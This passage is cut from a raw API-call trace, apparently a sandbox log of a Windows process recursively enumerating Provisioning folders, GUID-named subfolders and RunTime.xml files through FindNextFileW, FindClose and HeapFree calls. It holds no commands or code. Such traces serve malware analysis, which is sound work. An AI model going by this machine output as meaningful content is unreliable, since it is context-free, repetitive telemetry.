dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0195.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.243] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0195.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.244] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.245] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.245] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.246] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0195.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.415] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.415] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.415] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0195.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.417] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0195.421] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.421] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.421] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.421] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.421] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.421] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.423] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0195.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.426] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.426] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.426] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0195.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.428] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0195.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.431] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.431] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.431] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.433] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0195.438] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.438] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.438] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.438] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.438] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.438] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.440] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0195.442] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.442] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.443] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.443] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.445] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0195.448] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.448] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.448] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.448] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.448] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.448] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.450] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0195.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0195.696] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.696] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.723] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.723] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.723] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0195.724] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0195.724] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.724] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.724] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.725] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.726] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0195.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0195.727] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.727] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.727] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.728] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0195.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0195.729] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.730] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.730] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.730] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.730] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.731] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0195.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0195.732] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: 